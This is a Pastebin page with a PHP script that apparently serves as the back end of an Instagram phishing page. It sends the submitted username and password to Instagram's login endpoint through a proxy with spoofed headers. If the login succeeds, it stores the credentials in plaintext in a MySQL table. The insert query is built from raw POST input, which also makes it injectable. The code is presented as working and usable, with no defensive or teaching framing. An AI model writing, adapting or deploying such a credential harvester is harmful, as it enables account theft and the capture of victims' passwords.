Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- session_start();
- $db_host = 'localhost';
- $db_username = 'censored';
- $db_password = 'censored';
- $db_dbname = 'censored';
- file_put_contents("cookiess.txt","");
- $cookie_path = dirname(__FILE__)."/cookiess.txt" ;
- $cookies = array();
- function get_curl($url,$cookie_path="",$postfileds="",$referrer="",$header="",$httpheader='')
- {
- global $cookies;
- $agent = "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36";
- $proxies = array();
- $proxies[] = '104.28.9.48:80';
- $proxy = $proxies[array_rand($proxies)];
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_PROXY, $proxy);
- curl_setopt($ch, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);
- curl_setopt($ch, CURLOPT_URL,$url);
- curl_setopt($ch, CURLOPT_USERAGENT, $agent);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
- if($referrer!="")
- {
- curl_setopt($ch, CURLOPT_REFERER, $referrer);
- }
- if($cookie_path!="")
- {
- curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_path);
- curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_path);
- }
- //
- if($postfileds!="")
- {
- $httpheader = array_merge($httpheader,array('content-type:application/x-www-form-urlencoded; charset=UTF-8','origin:https://www.instagram.com'));
- //curl_setopt($ch,CURLOPT_HTTPHEADER,);
- curl_setopt($ch, CURLOPT_POST, 1);
- curl_setopt($ch, CURLOPT_POSTFIELDS,$postfileds);
- }
- if($header!="")
- {
- curl_setopt($ch, CURLOPT_HEADER, 1);
- }
- if($httpheader!="")
- {
- curl_setopt($ch, CURLOPT_HTTPHEADER, $httpheader);
- }
- //curl_setopt($ch, CURLINFO_HEADER_OUT, true); // enable tracking
- $result = curl_exec ($ch);
- preg_match_all('/^Set-Cookie:\s*([^;]*)/mi', $result, $matches);
- $cookies = array();
- foreach($matches[1] as $item) {
- parse_str($item, $cookie);
- $cookies = array_merge($cookies, $cookie);
- }
- $curlstatus=curl_getinfo($ch);
- // var_dump(curl_getinfo($ch, CURLINFO_HEADER_OUT));
- return $result;
- }
- $result = get_curl('https://www.instagram.com/accounts/login/',$cookie_path,"",'https://www.instagram.com/accounts/login/',1);
- sleep(2);
- $result = get_curl('https://www.instagram.com/accounts/login/ajax/',$cookie_path,"username=".$_POST['username']."&password=".$_POST['password'],'https://www.instagram.com/accounts/login/',"",
- array(
- "x-csrftoken:".$cookies['csrftoken'],
- "x-instagram-ajax:1",
- "x-requested-with:XMLHttpRequest")
- );
- $result = json_decode($result);
- //var_dump($result);
- if(@$result->authenticated){
- echo "ok";
- $_SESSION['username'] = $_POST['username'];
- $mysqli = mysqli_connect($db_host,$db_username,$db_password,$db_dbname);
- //echo "insert into users values ('{$_POST['username']}','{$_POST['password']}')";
- $mysqli->query("insert into users values (null,'{$_POST['username']}','{$_POST['password']}')");
- }
- else
- echo "Your username or password was incorrect.";
- file_put_contents("cookiess.txt","");
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement